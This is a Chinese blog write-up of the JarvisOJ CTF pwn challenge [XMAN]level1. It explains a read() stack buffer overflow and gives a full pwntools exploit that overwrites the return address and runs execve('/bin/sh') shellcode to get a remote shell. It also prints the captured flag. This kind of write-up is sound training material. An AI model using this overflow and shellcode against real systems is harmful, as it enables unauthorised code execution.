avatar

CTF-JarvisOJ-Pwn-[XMAN]level1

nc pwn2.jarvisoj.com 9877

文件下载level1.80eacdcd51aca92af7749d96efad7fb5

这道题考察Pwn的shellcode的汇编编写和跳转

如果是第一次接触的话,还是很有难度的。

先将程序导入IDA

进入vulnerable_function函数

这是一个典型的read函数漏洞

1
printf("What's this:%p?\n", &buf);   //它还特意输出了字符串的地址,我们要好好利用一下

buf的长度是0x88,我们可以写入0x100的数据

接下来我们来写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
sh = remote("pwn2.jarvisoj.com",9877)
#sh = process("./level1.80eacdcd51aca92af7749d96efad7fb5")

#得到程序本身输出的字符串地址
sh.recvuntil(":")
addr = sh.recvuntil("?",drop = True)
print ("We should hack this address:"+addr)

#计算地址偏移
re_addr = int(addr,16) + 0x88 + 0x8

#这里是汇编代码转化为二进制的形式,具体代码可以通过python的asm函数来显示
shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

#组合数据流
data = 'a' * 0x88 + 'a' * 0x4 + p32(re_addr) + shellcode

sh.send(data)
sh.interactive()

执行python,拿到shell

然后输入ls指令输出当前目录的文件

cat指令获取flag

CTF{82c2aa534a9dede9c3a0045d0fec8617}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2018/11/30/CTF-JarvisOJ-Pwn-[XMAN]level1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论